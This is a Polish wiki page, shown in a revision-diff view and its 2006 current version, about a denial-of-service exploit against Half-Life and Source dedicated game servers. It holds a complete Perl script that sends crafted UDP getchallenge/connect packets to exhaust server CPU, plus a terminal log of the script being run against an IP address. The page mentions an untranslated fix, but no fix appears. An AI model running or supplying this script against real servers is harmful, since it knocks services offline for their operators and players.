Perl HLDS DDOS exploit
Od HLDS.pl
(Różnice między wersjami)
(Nie pokazano 2 wersji utworzonych przez jednego użytkownika) | |||
Linia 1: | Linia 1: | ||
− | DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. | + | DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. Powinno działac na wszelkie serwery [[HLDS]] i [[SRCDS]] [[NoSteam]] a po zmiaanie protokołu działa na serwery CS 1.5. |
+ | |||
+ | Nie działa na serwery [[Steam]]. | ||
Przydałoby się sprawdzić. | Przydałoby się sprawdzić. | ||
Linia 6: | Linia 8: | ||
− | + | ||
<perl> | <perl> | ||
#!/usr/bin/perl | #!/usr/bin/perl | ||
Linia 62: | Linia 64: | ||
hlds@bagno /mnt/hdc/upload $ | hlds@bagno /mnt/hdc/upload $ | ||
</pre> | </pre> | ||
− | + | ||
[[kategoria:Linux]] | [[kategoria:Linux]] |
Aktualna wersja na dzień 13:35, 13 sie 2006
DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. Powinno działac na wszelkie serwery HLDS i SRCDS NoSteam a po zmiaanie protokołu działa na serwery CS 1.5.
Nie działa na serwery Steam.
Przydałoby się sprawdzić.
Linux HLDS DDOS exploit fix - poprawka, na razie nie przetłumaczona z tego dzikiego języka.
#!/usr/bin/perl # modded version for port # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server use IO::Socket; die "usage: perl cs_exploit.pl <adress> <port>" unless $ARGV[0]; $host=$ARGV[0]; $port=$ARGV[1]; if (fork()) { econnect($host); } else { econnect($host); }; exit; sub econnect($) { my $host=$_[0]; my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>$port,Proto=>'udp'); die "Could not create socket: $!\n" unless $sock; $cmd="\xff\xff\xff\xff"; syswrite $sock, $cmd."getchallenge"; sysread $sock,$b,65535; print $b,"\n"; @c=split(/ /,$b); $c2=$c[1]; $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0"; print "",'>',$q,"\n"; syswrite $sock, $q; sysread $sock,$b,65535; print $b,"\n"; sleep 3; close $sock; }
zwrot w uzyciu, chyba jednak nie dziala na source
hlds@bagno /mnt/hdc/upload $ perl cs_exploit.pl 156.17.41.139 27025 A00000000 265017998 2 >connect 47 265017998 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\" A00000000 265017998 2 >connect 47 265017998 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\" 9LAN servers are restricted to local clients (class C). 9LAN servers are restricted to local clients (class C). hlds@bagno /mnt/hdc/upload $